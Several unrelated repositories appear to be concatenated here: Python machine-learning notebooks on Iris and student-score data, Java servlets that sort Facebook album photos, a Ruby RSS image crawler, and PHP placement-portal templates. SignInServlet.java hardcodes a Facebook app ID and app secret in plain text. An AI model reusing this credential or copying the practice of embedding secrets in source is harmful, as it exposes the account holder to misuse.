X= df.drop('Species',axis=1)
y = df['Species']
# In[19]:
X.head()
# # Visualization
# In[23]:
#Scatter plot
sns.set_style('whitegrid')
plt.figure(figsize=(10,6))
plt.scatter(data=X,x='SepalLengthCm',y='SepalWidthCm')
plt.xlabel('Length of sepal')
plt.ylabel('Width of sepal');
# # Feature scaling
# In[25]:
#Standardization of variables
sns.distplot(df['SepalLengthCm']);
# # here we can see above figure our data is normally distributed then we use the standardization method so we used scaling the variables.
# In[26]:
# Scale the variables
X_scaled = preprocessing.scale(X)
X_scaled[:10]
# In[38]:
# Finding the optimum number of clusters for k-means classification
x = df.iloc[:, [0, 1, 2, 3]].values
from sklearn.cluster import KMeans
wcss = []
for i in range(1, 11):
kmeans = KMeans(n_clusters = i, init = 'k-means++',
max_iter = 300, n_init = 10, random_state = 0)
kmeans.fit(x)
wcss.append(kmeans.inertia_)
# Plotting the results onto a line graph,
# `allowing us to observe 'The elbow'
plt.plot(range(1, 11), wcss)
plt.title('The elbow method')
plt.xlabel('Number of clusters')
plt.ylabel('WCSS') # Within cluster sum of squares
plt.show()
#
# You can clearly see why it is called 'The elbow method' from the above graph, the optimum clusters is where the elbow occurs. This is when the within cluster sum of squares (WCSS) doesn't decrease significantly with every iteration.
# Based on the elbow curve it seems like we can plot our graph with 2 , 3 and 5 no. of clusters .
# In[39]:
# Applying kmeans to the dataset / Creating the kmeans classifier
kmeans = KMeans(n_clusters = 3, init = 'k-means++',
max_iter = 300, n_init = 10, random_state = 0)
y_kmeans = kmeans.fit_predict(x)
# In[40]:
# second cluster
kmeans_2 = KMeans(2)
kmeans_2.fit(X_scaled)
cl_2 = X.copy()
cl_2['pred'] = kmeans_2.fit_predict(X_scaled)
plt.figure(figsize=(10,6))
plt.scatter(cl_2['SepalLengthCm'], cl_2['SepalWidthCm'], c= cl_2['pred'], cmap = 'rainbow');
# In[41]:
# 3 cluster
kmeans_3 = KMeans(3)
kmeans_3.fit(X_scaled)
cl_3 = X.copy()
cl_3['pred'] = kmeans_3.fit_predict(X_scaled)
plt.figure(figsize=(10,6))
plt.scatter(cl_3['SepalLengthCm'], cl_3['SepalWidthCm'], c= cl_3['pred'], cmap = 'rainbow');
# In[45]:
# 5 cluster
kmeans_5 = KMeans(5)
kmeans_5.fit(X_scaled)
cl_5 = X.copy()
cl_5['pred'] = kmeans_5.fit_predict(X_scaled)
plt.figure(figsize=(10,6))
plt.scatter(cl_5['SepalLengthCm'], cl_5['SepalWidthCm'], c= cl_5['pred'], cmap = 'rainbow');
# In[46]:
# Plotting the centroids of the clusters
plt.scatter(kmeans.cluster_centers_[:, 0], kmeans.cluster_centers_[:,1],
s = 100, c = 'yellow', label = 'Centroids')
plt.legend()
# This is K-means workshop
# In[ ]:
<file_sep>
This repository contains all the technical taskd to be performed as a part of the Sparks Foundation internship program.
# TSF-Internship-Task
These are the tasks given to us in the internship we are doing with The Sparks Foundation i.e GRIP(Graduate Rotational Internship Program )
Task # 1 - Improve your LinkedIn Profile
Task # 2 - To Explore Supervised Machine Learning In this regression task, we will predict the percentage of marks that a student is expected to score based upon the number of hours they studied. This is a simple linear regression task as it involves just two variables. What will be predicted score if a student study for 9.25 hrs in a day?
Task 2 dataset- http://bit.ly/w-data
Task # 3 - To Explore Unsupervised Machine Learning From the given ‘Iris’ dataset,we will predict the optimum number of clusters and represent it visually.
Task 3 dataset- https://drive.google.com/file/d/11Iq7YvbWZbt8VXjfm06brx66b10YiwK-/view?usp=sharing
Taak # 4 - To Explore Decision Tree Algorithm.For the given ‘Iris’ dataset, create the Decision Tree classifier and visualize it graphically. The purpose is if we feed any new data to this classifier, it would be able to predict the right class accordingly.
Task 4 dataset- https://drive.google.com/file/d/11Iq7YvbWZbt8VXjfm06brx66b10YiwK-/view?usp=sharing
Task # 5 - To explore Business Analytics.Perform ‘Exploratory Data Analysis’ on the provided dataset
‘SampleSuperstore’
You are the business owner of the retail firm and want to see how your company is performing. You are interested in finding out the weak areas where you can work to make more profit. What all business problems you can derive by looking into the data? You can choose any of the tool of your choice (Python/R/Tableau/PowerBI/Excel).
Task 5 dataset-https://drive.google.com/file/d/1lV7is1B566UQPYzzY8R2ZmOritTW299S/view
<file_sep>#!/usr/bin/env python
# coding: utf-8
# # SIMPLE LINEAR REGRESSION PYTHON WITH SCIKIT LEARN
# In given task we have to predict the percentage of marks expected by the student based upon the number of hours they studied.In this task only two variables are involved.
# In[29]:
# Importing all libraries required in this notebook
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
get_ipython().run_line_magic('matplotlib', 'inline')
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error
from sklearn.metrics import r2_score
from sklearn.metrics import mean_absolute_error
# In[30]:
#Reading data from remote link
url = "http://bit.ly/w-data"
s_data = pd.read_csv(url)
#print("Data imported successfully")
s_data.head(10)
# # #DATA VISUALIZATION
# Now let's plot a graph of our data so that it will give us clear idea about data.
# In[31]:
# Plotting the distribution of scores
s_data.plot(x='Hours', y='Scores', style='o')
plt.title('Hours vs Percentage')
plt.xlabel('Hours Studied')
plt.ylabel('Percentage Score')
plt.show()
# # LINEAR REGRESSION MODEL
# Preparing the data
# Divided the datast into attributes (inputs) and labels (outputs).
# In[32]:
#Splitting training and testing data
x=s_data.iloc[:,:-1].values
y=s_data.iloc[:,1].values
x_train, x_test, y_train, y_test= train_test_split(x, y,train_size=0.80,test_size=0.20,random_state=0)
# # Training the model
# In[33]:
from sklearn.linear_model import LinearRegression
linearRegressor= LinearRegression()
linearRegressor.fit(x_train, y_train)
y_predict= linearRegressor.predict(x_train)
# # Training the Algorithm
# Now the spliting of our data into training and testing sets is done, now it's time to train our algorithm.
# In[34]:
regressor = LinearRegression()
regressor.fit(x_train, y_train)
print("Training complete.")
# In[35]:
# Plotting the regression line
line = regressor.coef_*x+regressor.intercept_
# Plotting for the test data
plt.scatter(x, y)
plt.plot(x, line);
plt.show()
# # Predicting the results
# In[36]:
print(x_test) # Testing data - In Hours
y_pred = regressor.predict(x_test) # Predicting the scores
# In[37]:
# Comparing Actual vs Predicted
df = pd.DataFrame({'Actual': y_test, 'Predicted': y_pred})
df
# In[38]:
#Let's predict the score for 9.25 hours
print('Score of student who studied for 9.25 hours a dat', regressor.predict([[9.25]]))
# # Model evaluation matrics
# The final step is to evaluate the performance of algorithm. This step is particularly important to compare how well different algorithms perform on a particular dataset. For simplicity here, we have chosen the mean square error. There are many such metrics.
# In[40]:
#Checking the efficiency of model
from sklearn import metrics
print("Mean Squared Error:",metrics.mean_squared_error(y_test,y_pred))
print('Mean Absolute Error:',
metrics.mean_absolute_error(y_test, y_pred))
# In[ ]:
|
64d8935df555d3f2124a38daef742483dac7ef15
|
[
"Markdown",
"Python"
] | 5
|
Python
|
mukeshsablani3126/TSF-Internship-Task
|
aa5c2fc669b731879990b2bde99c44bbacb65661
|
3aac021dcdbd42703df635536ddbb841e34f3338
|
refs/heads/master
|
<file_sep>package facebook4j.examples.signin;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import facebook4j.Album;
import facebook4j.Checkin;
import facebook4j.Event;
import facebook4j.Facebook;
import facebook4j.FacebookException;
import facebook4j.Photo;
import facebook4j.ResponseList;
import facebook4j.Tag;
@WebServlet(name="DisplyNames",urlPatterns={"/disnam"})
public class DisplyNames extends HttpServlet{
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//Create a string arraylist to store all the photo ID names
ArrayList<AlbumPhotoWrapper> imageUrlList = new ArrayList< AlbumPhotoWrapper>();
Facebook facebook = (Facebook) request.getSession().getAttribute("facebook");
String targetAlbumId = "";
System.out.println("Entered into DisplayAlbums doget"+request.getParameter("param"));
String selectedAlbum = request.getParameter("param");
String selectedDate = request.getParameter("Dates");
//Get all the photos that correspond to that Album ID
ResponseList<Photo> photos;
try {
if(selectedAlbum != null && selectedAlbum.equalsIgnoreCase("ALLPHOTOS")){
ResponseList<Album> albumList = facebook.getAlbums();
for (Album album : albumList) {
imageUrlList.addAll(getPhotoList(facebook,album.getId()));
}
} else {
imageUrlList.addAll(getPhotoList(facebook,selectedAlbum));
}
//request.setAttribute ("DateList", Datesort );
} catch (FacebookException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
request.setAttribute ("ImageList", imageUrlList );
//request.setAttribute ("ImageList2", imageUrlList );
HttpSession session = request.getSession();
session.setAttribute("Imgtosort", imageUrlList);
RequestDispatcher reqDisp = getServletConfig().getServletContext().getRequestDispatcher(
"/Images.jsp");
reqDisp.forward(request, response);
}
private static ArrayList <AlbumPhotoWrapper> getPhotoList(Facebook facebook,String albumID) throws FacebookException {
ArrayList <AlbumPhotoWrapper> tempImageList = new ArrayList <AlbumPhotoWrapper> ();
ResponseList<Photo> photos = facebook.getAlbumPhotos(albumID);
System.out.println("print selected album:::" +photos.size());
AlbumPhotoWrapper alWrapperObj = null;
for (Photo photoObj : photos) {
//java.net.URL highQuality = photo.getImages().get(0).getSource();
alWrapperObj = new AlbumPhotoWrapper();
alWrapperObj.setUrl(facebook.getPhotoURL(photoObj.getId()));
System.out.println("Print name****" + photoObj.getName());
System.out.println("ALbum ID:::"+ facebook.getPhotoURL(photoObj.getId()));
alWrapperObj.setDate(photoObj.getCreatedTime());
alWrapperObj.setID(photoObj.getId());
/* ResponseList<Tag> tagList = facebook.getTagsOnPhoto(photoObj.getId());
System.out.println("TAAAGGGED List+++" + tagList);
for(Tag tagid:tagList){
System.out.println("taggggggg"+tagid );
}
String tagName = "";*/
/* if(tagList.size() > 0) {
tagName = tagList.get(0).getName();
System.out.println("Print the tag names:::+++"+tagName);
}*/
/* checkin method
System.out.println("#####Entered into CHECKIN******"+facebook.getMe().getId());
ResponseList<Event> checkinList = facebook.getEvents(facebook.getMe().getId());
System.out.println("CHECKIN LIST:$#%@" +checkinList );
for(Event checkid:checkinList){
System.out.println("CHECK+++" + checkid.getStartTime());
}*/
/*System.out.println("Photo location:::"+tagList );
alWrapperObj.setLocation(tagName);*/
System.out.println("Location :::"+ photoObj.getName());
tempImageList.add(alWrapperObj);
/*System.out.println("photoObj:::"+photoObj);
System.out.println("Photoid>>>:" + photoObj.getId());
System.out.println("getLink()>>>:" + facebook.getPhotoURL(photoObj.getId()));
System.out.println("photo.getSource():" + photoObj.getSource());
System.out.println("photo.getPlace()>>>:" + photoObj.getPlace());*/
}
return tempImageList;
}
}
<file_sep>package facebook4j.examples.signin.device;
import facebook4j.Facebook;
import facebook4j.FacebookException;
import facebook4j.auth.DeviceCode;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class DeviceSigninServlet extends HttpServlet {
private static final long serialVersionUID = -7453606094644144082L;
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Facebook facebook = (Facebook) request.getSession().getAttribute("facebook");
DeviceCode deviceCode = (DeviceCode) request.getSession().getAttribute("deviceCode");
try {
facebook.getOAuthDeviceToken(deviceCode);
} catch (FacebookException e) {
throw new ServletException(e);
}
request.getSession().setAttribute("facebook", facebook);
response.sendRedirect(request.getContextPath() + "/");
}
}
<file_sep>
package facebook4j.examples.signin;
import java.net.URL;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
public class AlbumPhotoWrapper {
public URL getUrl() {
return photoUrl;
}
public void setUrl(URL urlValue) {
photoUrl = urlValue;
}
public String getLocation() {
return Location;
}
public void setLocation(String location) {
Location = location;
}
public String getId(){
return ID;
}
public void setID(String id) {
ID = id;
}
public Date getDate() {
return date;
}
public void setDate(Date date) {
this.date = date;
}
public String toString() {
return "List: " +date;
}
public URL photoUrl;
public String Location;
public Date date;
public String ID;
}
<file_sep>package facebook4j.examples.signin.device;
import facebook4j.Facebook;
import facebook4j.FacebookException;
import facebook4j.FacebookFactory;
import facebook4j.auth.DeviceCode;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class GenDeviceCodeServlet extends HttpServlet {
private static final long serialVersionUID = 4334127926392489578L;
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Facebook facebook = new FacebookFactory().getInstance();
request.getSession().setAttribute("facebook", facebook);
try {
DeviceCode deviceCode = facebook.getOAuthDeviceCode();
request.getSession().setAttribute("deviceCode", deviceCode);
} catch (FacebookException e) {
throw new ServletException(e);
}
RequestDispatcher dispatcher = getServletContext().getRequestDispatcher("/device.jsp");
dispatcher.forward(request, response);
}
}
<file_sep>package facebook4j.examples.signin;
import java.text.DateFormat;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Collections;
import java.util.Comparator;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import javax.servlet.RequestDispatcher;
public class PhotoSorting {
//sorting by getting parameter from arraylist(datastring)
public static ArrayList<AlbumPhotoWrapper> getSortedListByDate(ArrayList<AlbumPhotoWrapper> photoAlbumList){
Collections.sort(photoAlbumList, new Comparator<AlbumPhotoWrapper>() {
public int compare(AlbumPhotoWrapper m1, AlbumPhotoWrapper m2) {
return m1.getDate().compareTo(m2.getDate());
}
});
return photoAlbumList;
}
public static void main(String[] args) throws ParseException {
SimpleDateFormat formatter = new SimpleDateFormat("dd-MMM-yyyy");
String dateInString = "7-Jun-2013";
String dateInString1 = "9-jan-2010";
String dateInString2 = "21-sep-2015";
String dateInString3 = "18-Feb-2009";
String dateInString4 = "05-mar-2012";
formatter.parse(dateInString);
formatter.parse(dateInString1);
formatter.parse(dateInString2);
formatter.parse(dateInString3);
formatter.parse(dateInString4);
AlbumPhotoWrapper sortedDate = new AlbumPhotoWrapper();
AlbumPhotoWrapper sortedDate1 = new AlbumPhotoWrapper();
AlbumPhotoWrapper sortedDate2 = new AlbumPhotoWrapper();
AlbumPhotoWrapper sortedDate3 = new AlbumPhotoWrapper();
AlbumPhotoWrapper sortedDate4 = new AlbumPhotoWrapper();
sortedDate.setDate(formatter.parse(dateInString));
sortedDate1.setDate(formatter.parse(dateInString1));
sortedDate2.setDate(formatter.parse(dateInString2));
sortedDate3.setDate(formatter.parse(dateInString3));
sortedDate4.setDate(formatter.parse(dateInString4));
ArrayList<AlbumPhotoWrapper> datestring=new ArrayList<AlbumPhotoWrapper>();
datestring.add(sortedDate);
datestring.add(sortedDate1);
datestring.add(sortedDate2);
datestring.add(sortedDate3);
datestring.add(sortedDate4);
//System.out.println("SortedDate:::" +datestring);
ArrayList<AlbumPhotoWrapper> sortedresult = getSortedListByDate(datestring);
// System.out.println("SortedDate:::" +sortedresult);
for(AlbumPhotoWrapper sorted:sortedresult ){
System.out.println("SortedDate:::" +sorted.toString());
}
//after sorting
//Collections.sort(datestring );
/*for(AlbumPhotoWrapper sorted: datestring){
System.out.println("date sorted::"+sorted );
}*/
/* sortDates(datestring);
for(String orederedDates:datestring){
System.out.println( orederedDates);
//datestring.add( orederedDates);
}
*/
}
/*private static void sortDates(ArrayList<AlbumPhotoWrapper> datestring){
Collections.sort(datestring, new Comparator<String>() {
DateFormat f = new SimpleDateFormat("dd/MM/yyyy '@'hh:mm a");
public int compare(String DATE_1, String DATE_2) {
try {
return f.parse(DATE_1).compareTo(f.parse(DATE_2));
} catch (java.text.ParseException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return 0;
}
});
}*/
}
<file_sep>package facebook4j.examples.signin;
import java.io.IOException;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BackToAlbum extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("Back To Album");
HttpSession session = request.getSession();
session.getAttribute( "albumIdMap" );
RequestDispatcher reqDisp = getServletConfig().getServletContext().getRequestDispatcher(
"/Albums.jsp");
reqDisp.forward(request, response);
}
}
<file_sep>package facebook4j.examples.signin;
import facebook4j.Facebook;
import facebook4j.FacebookFactory;
import facebook4j.auth.AccessToken;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class SignInServlet extends HttpServlet {
private static final long serialVersionUID = -7453606094644144082L;
private static final String appId="1122189991227970";
private static final String appSecret="5f8d7bd51759e36c8f6a30e3c69eaf95";
private static final String commaSeparetedPermissions="email,user_birthday,user_photos,user_videos,user_posts";
// private static final String commaSeparetedPermissions="email,user_online_presence,user_birthday,user_groups,user_photos,user_videos,user_posts";
private static final String accessToken="<KEY>";
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Facebook facebook = new FacebookFactory().getInstance();
facebook.setOAuthAppId(appId, appSecret);
facebook.setOAuthPermissions(commaSeparetedPermissions);
facebook.setOAuthAccessToken(new AccessToken(accessToken, null));
request.getSession().setAttribute("facebook", facebook);
StringBuffer callbackURL = request.getRequestURL();
int index = callbackURL.lastIndexOf("/");
callbackURL.replace(index, callbackURL.length(), "").append("/callback");
response.sendRedirect(facebook.getOAuthAuthorizationURL(callbackURL.toString()));
}
}
|
74d3777ce7037eed2ee04ff32894db2650f09468
|
[
"Java"
] | 7
|
Java
|
sowmiyavelusamy/Facebook-Album-sort
|
978494e444c78fe37ea7c3a32b724b459e5c15ad
|
81703a596fa5d879b4e1cc39d94bfe826b08ee4d
|
refs/heads/master
|
<repo_name>HiroshiKubo/RSSImagesCrawler<file_sep>/download_image_lib.rb
require 'open-uri'
require 'fastimage'
def downloadImage(url,path)
url = "http://"+url.to_s unless /http:\/\/|https:\/\// =~ url.to_s
url = URI.encode(url)
#puts "保存先を入力してください(fullPathがおすすめです)"
path = path.split("\n")[0]
path += "/" if path[path.size-1] != "/"
siteDomain = url
siteDomain = siteDomain.scan(/http:\/\/[^\/]+\/|https:\/\/[^\/]+\//)[0].to_s
open(url, "User-Agent" => UserAgent) do |f|
f.each_line do |line|
line = line.match( /.+(jpeg|jpg|png|gif).+"/ )
if line != nil
array = line.to_s.split(/[ ()<>;,]/)
array.each do |cut|
image_url = cut.to_s.match(/".+(\.jpeg|\.jpg|\.png|\.gif).*"/)
image_url = image_url.to_s
image_url = image_url.slice!(1,image_url.to_s.size-2)
if image_url != nil
puts image_url
#間接参照での画像のURLの場合はサイトのドメインを追加
image_url = siteDomain.to_s+image_url if /http./ !~ image_url
#URLがunicodeの場合はエンコードする
cut = URI.unescape(image_url) if /.+%3a%2f%2f+./ =~ image_url
fileName = image_url.split("/")
fileName = fileName[fileName.size-1]
saveData(path,fileName,image_url);
end
end
end
end
end
end
def saveData(path,fileName,url)
if /jpg|png|jpeg|gif/ =~ url
img_size = FastImage.size(url) #[0]:横 [1]:縦
return nil if img_size == nil
return nil if 300 > img_size[0]
return nil if 300 > img_size[1]
end
open(path+fileName, 'wb') do |saved_file|
open(url, 'rb') do |read_file|
saved_file.write(read_file.read)
end
end
end
<file_sep>/rss_search_link.rb
require 'open-uri'
require 'fastimage'
require 'json'
require 'date'
require 'fileutils'
require ('./download_image_lib.rb')
UserAgent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)'
def main()
now_date = Date.today
rss_version = 1
content_date = nil #記事の日時
content_url = nil #コンテンツのURL
json_data = nil
json_file = open("./rss_data.json")
json_data = JSON.parse(json_file.read)
date_range = json_data["date_range"].to_i #何日前までの記事をチェックするか
path = json_data["save_path"] #画像を保存するPath
urls = json_data["target_urls"]
urls.each do |url|
url = URI.encode(url)
puts "URL"+url
site_domain = url.to_s.match(/:\/\/[^\/]+/)
site_domain = site_domain.to_s.slice!(3,site_domain.to_s.size-2)
site_domain = site_domain.gsub(".","_")
if Dir.glob(json_data["save_path"]+"/"+site_domain) == []
FileUtils.mkdir_p(json_data["save_path"]+"/"+site_domain)
path = json_data["save_path"]+"/"+site_domain
end
open(url, "User-Agent" => UserAgent) do |f|
f.each_line do |line|
rss_version = 2 if /<rss version="2.0">/ =~ line
line = line.match( /<item rdf:about=.+|<dc:date>.+|<guid isPermaLink="true">.+|<pubDate>.+/)
if line != nil
array = line.to_s.split(/[();^]/)
array.each do |cut|
date = makeDate(cut.to_s,rss_version)
if date != nil
content_date = date
if rss_version == 1
downloadImage(content_url,path) if checkDate(now_date,content_date,date_range) == true
end
break
end
site_url = linkSearch(cut,rss_version)
if site_url != nil
content_url = site_url
if rss_version == 2
downloadImage(site_url,path) if checkDate(now_date,content_date,date_range) == true
end
break
end
end
end
end
end
rss_version = 1
end
end
def linkSearch(command, rss_version)
if rss_version == 1
command = command.to_s.match(/<item rdf:about=.+/)
if command != nil
site_url = command.to_s.match(/".+"/)
site_url = site_url.to_s.slice!(1, site_url.to_s.size-2)
puts "link:"+site_url
return site_url.to_s
end
else
command = command.to_s.match(/<guid isPermaLink="true">.+<\/guid>/)
if command != nil
site_url = command.to_s.match(/\>.+\</)
site_url = site_url.to_s.slice!(1, site_url.to_s.size-2)
puts "link:"+site_url
return site_url.to_s
end
end
return nil
end
def makeDate(cut, rss_version)
if rss_version == 1
date = cut.to_s.match(/<dc:date>.+\/dc:date/)
if date != nil
date = date.to_s.match(/[0-9]{4}-[0-9]{2}-[0-9]{2}/)
return date
end
else
date = cut.to_s.match(/<pubDate>.+<\/pubDate>/)
if date != nil
date = date.to_s.match(/[A-Z][a-z]{2}, [0-9]{2} [A-Z][a-z]{2} [0-9]{4}/)
date = Date.parse(date.to_s)
date = date.strftime("%Y-%m-%d")
return date
end
end
end
def checkDate(now_date, content_date, date_range)
now_date = Date.parse(now_date.to_s)
content_date = Date.parse(content_date.to_s)
content_date += date_range
if(now_date <= content_date)
return true
end
return false
end
main()<file_sep>/README.md
RSSImageCrawler
====
rss_data.jsonに登録したRSSの画像をダウンロードするCrawlerっぽいもの
正規表現とGitHubの勉強のため作成しました。
##Description
前もってrss_data.jsonに確認したいサイトのRSSとダウンロードした画像の保存先のパスを記載します。
rss_search_link.rbを起動すると、記載したRSSの記事の先にある画像(width:400px height:400px以上) を保存先のパスにドメインごとに保存します。
##Requirement
rubyのfastimageが必要です。
##Usage
rss_data.jsonの中身は以下のようになっています。
{ "date_range" : 0,
"save_path" : "/Users/UserName/Pictures/",
"target_urls" : [
http://◯◯◯/feed",
"http://◯◯◯/index.rdf",
"http://◯◯◯/index.rdf"
]
}
date_range : 何日前の記事を取得するかを記載(本日のみの場合は、0を記述)
save_path : ダウンロードした画像を保存するパスを記載。パスの先にサイトごとのディレクトリを作成し、保存する。
target_urls : RSSのデータの配列です。URLを記載してください。
|
bed64d9cf264b88dc58d5bd9aeb9940855f62cb6
|
[
"Markdown",
"Ruby"
] | 3
|
Ruby
|
HiroshiKubo/RSSImagesCrawler
|
805f7dee1ea96fedb9f700d7dd807a85480f6161
|
1d1d9644c8e1615d96ed3c79a66a8817ac08b39c
|
refs/heads/master
|
<file_sep> <div id="board">
<div class="page">
<div id="ui-global-0">
<div class="tiles tilemenu azure-left">
<?php echo $TILES_0; ?>
</div>
<div class="listmenu azure-right">
<?php echo $TILES_1; ?>
</div>
<div id="main-container" class="bands container azure-center">
<?php echo $HTML; ?>
</div>
<div class="clearfloat"></div>
</div>
</div>
</div>
<file_sep><?php
/**
* @launch Person Find
**/
$memory = Snowblozm::run(array(
'service' => 'invoke.launch.workflow.workflow',
'message' => array(
'service' => 'executive.student.find.workflow'
)
), $memory);
//echo json_encode($memory);exit;
/**
* @launch Read response
**/
if($memory['valid'] && $memory['message']['valid']){
$student = $memory['message'];
$stdid = $student['stdid'];
//FIRESPARK_SI_DATA_URL_run.php_DATA_service=person&id=379&name=tr4n2uil&_TYPE_json_REQUEST_POST
$HTML .= '
<script type="text/javascript">
Snowblozm.Registry.save("FIRESPARK_SI_DATA_URL_run.php_DATA_service=student&id='.$student['person']['username'].'&navigator=#/ui/student/'.$student['person']['username'].'/~/&_TYPE_json_REQUEST_POST", '.$memory['result'].');
Executive.session.user = "'.$memory['user'].'";
Executive.data.student = '.$stdid.';
Executive.data.username = "'.$student['person']['username'].'";
Executive.data.dept = "'.$student['batch']['dept'].'";
Executive.data.batch = "'.$student['batch']['btname'].'";
</script>';
$memory['person'] = $student;
$info = '';
if($student['student']['ustatus'] == '0'){
$info = '<li><a href="#" class="navigate">Account Suspended</a></li>';
}
$STATEMENU .=
'<ul class="hover-menu vertical">
<li>
<a href="student/'.$student['person']['username'].'/" class="ui" >'.$memory['user'].'<img src="storage/public/thumbnails/person/'.$memory['person']['person']['username'].'.png" alt="USER_THUMBNAIL" class="thumbhead" style="margin: -8px 0;"></a>
<ul class="menu-item">
'.$info.'
<li><a href="student/'.$student['person']['username'].'/" class="ui" >Profile</a></li>
<li><a href="identities/" class="ui">Identities</a></li>
<li><a href="#/read/~/data/service=session&enc=get/ln/#login" class="launch">Sign Out</a></li>
</ul>
</li>
</ul>';
if($student['person']['username'] != 'tpo.itbhu')
$STATEMENU .=
'<ul class="hover-menu vertical">
<li>
<a href="#" class="navigate" >T&P</a>
<ul class="menu-item">
<li><a href="me/opportunities/'.$student['student']['stdid'].'/'.$student['batch']['btname'].'/" class="ui" >Opportunities</a></li>
<li><a href="me/selections/'.$student['student']['stdid'].'/'.$student['batch']['btname'].'/" class="ui" >Selections</a></li>
<li><a href="docs/TPR Executive User Manual.pdf" target="_blank" >Portal User Manual</a></li>
</ul>
</li>
</ul>
<ul class="hover-menu vertical">
<li>
<a href="#" class="navigate" >People</a>
<ul class="menu-item">
<li><a href="batch/'.$student['batch']['btname'].'/" class="ui" >Batch '.$student['batch']['btname'].'</a></li>
<li><a href="batches/'.$student['batch']['year'].'/" class="ui" >Batches '.$student['batch']['year'].'</a></li>
<li><a href="batches/'.$student['batch']['dept'].'/" class="ui" >Batches '.strtoupper($student['batch']['dept']).'</a></li>
</ul>
</li>
</ul>';
else
$STATEMENU .= '
<ul class="hover-menu vertical">
<li>
<a href="#" class="navigate" >T&P</a>
<ul class="menu-item">
<li><a href="docs/TPR Executive User Manual.pdf" target="_blank" >Portal User Manual</a></li>
</ul>
</li>
</ul>';
$TPR = $memory['message']['btadmin'];
$PORTAL = 'student';
}
else {
/**
* @launch Person Find
**/
$memory = Snowblozm::run(array(
'service' => 'invoke.launch.workflow.workflow',
'message' => array(
'service' => 'executive.company.find.workflow'
)
), $memory);
//echo json_encode($memory);exit;
/**
* @launch Read response
**/
if($memory['valid'] && $memory['message']['valid']){
$company = $memory['message'];
$comid = $company['comid'];
//FIRESPARK_SI_DATA_URL_run.php_DATA_service=person&id=379&name=tr4n2uil&_TYPE_json_REQUEST_POST
$HTML .= '
<script type="text/javascript">
Snowblozm.Registry.save("FIRESPARK_SI_DATA_URL_run.php_DATA_service=company&id='.$company['person']['username'].'&navigator=#/ui/company/'.$company['person']['username'].'/~/&_TYPE_json_REQUEST_POST", '.$memory['result'].');
Executive.session.user = "'.$memory['user'].'";
Executive.data.company = '.$comid.';
Executive.data.username = "'.$company['person']['username'].'";
Executive.data.dept = "";
</script>';
$memory['person'] = $company;
$STATEMENU .=
'<ul class="hover-menu vertical">
<li>
<a href="company/'.$company['person']['username'].'/" class="ui" >'.$memory['user'].'<img src="storage/public/thumbnails/person/'.$memory['person']['person']['username'].'.png" alt="USER_THUMBNAIL" class="thumbhead" style="margin: -8px 0;"></a>
<ul class="menu-item">
<li><a href="company/'.$company['person']['username'].'/" class="ui" >Profile</a></li>
<li><a href="identities/" class="ui">Identities</a></li>
<li><a href="#/read/~/data/service=session&enc=get/ln/#login" class="launch">Sign Out</a></li>
</ul>
</li>
</ul>
<ul class="hover-menu vertical">
<li>
<a href="#" class="navigate" >T&P</a>
<ul class="menu-item">
<li><a href="calendar/'.$company['person']['username'].'/" class="ui">Campus Visits</a></li>
<li><a href="docs/TPR Executive User Manual.pdf" target="_blank" >Portal User Manual</a></li>
</ul>
</li>
</ul>';
$PORTAL = 'company';
}
else {
$STATEMENU .=
'<ul class="hover-menu vertical">
<li>
<a href="#" class="navigate" >'.$memory['user'].'<img src="storage/public/thumbnails/person.png" alt="USER_THUMBNAIL" class="thumbhead" style="margin: -8px 0;"></a>
<ul class="menu-item">
<li><a href="#/view/#register/" class="navigate">Register</a></li>
<li><a href="#/view/#verify/" class="navigate">Verify</a></li>
<li><a href="#/read/~/data/service=session&enc=get/ln/#login" class="launch">Sign Out</a></li>
</ul>
</li>
</ul>
<ul class="hover-menu vertical">
<li>
<a href="#" class="navigate" >T&P</a>
<ul class="menu-item">
<li><a href="docs/TPR Executive User Manual.pdf" target="_blank" >Portal User Manual</a></li>
</ul>
</li>
</ul>';
$SHTML.= file_get_contents('ui/html/login.html');
$PORTAL = 'register';
}
}
?><file_sep><?php
require_once(SBSERVICE);
/**
* @class VisitListWorkflow
* @desc Returns all visits information in portal
*
* @param keyid long int Usage Key ID [memory]
* @param portalid/id long int Portal ID [memory] optional default COMPANY_PORTAL_ID
* @param plname/name string Portal name [memory] optional default ''
* @param filter string Filter [memory] optional default false
* @param year string Year [memory] optional default false
*
* @param pgsz long int Paging Size [memory] optional default 25
* @param pgno long int Paging Index [memory] optional default 0
* @param total long int Paging Total [memory] optional default false
* @param padmin boolean Is parent information needed [memory] optional default true
*
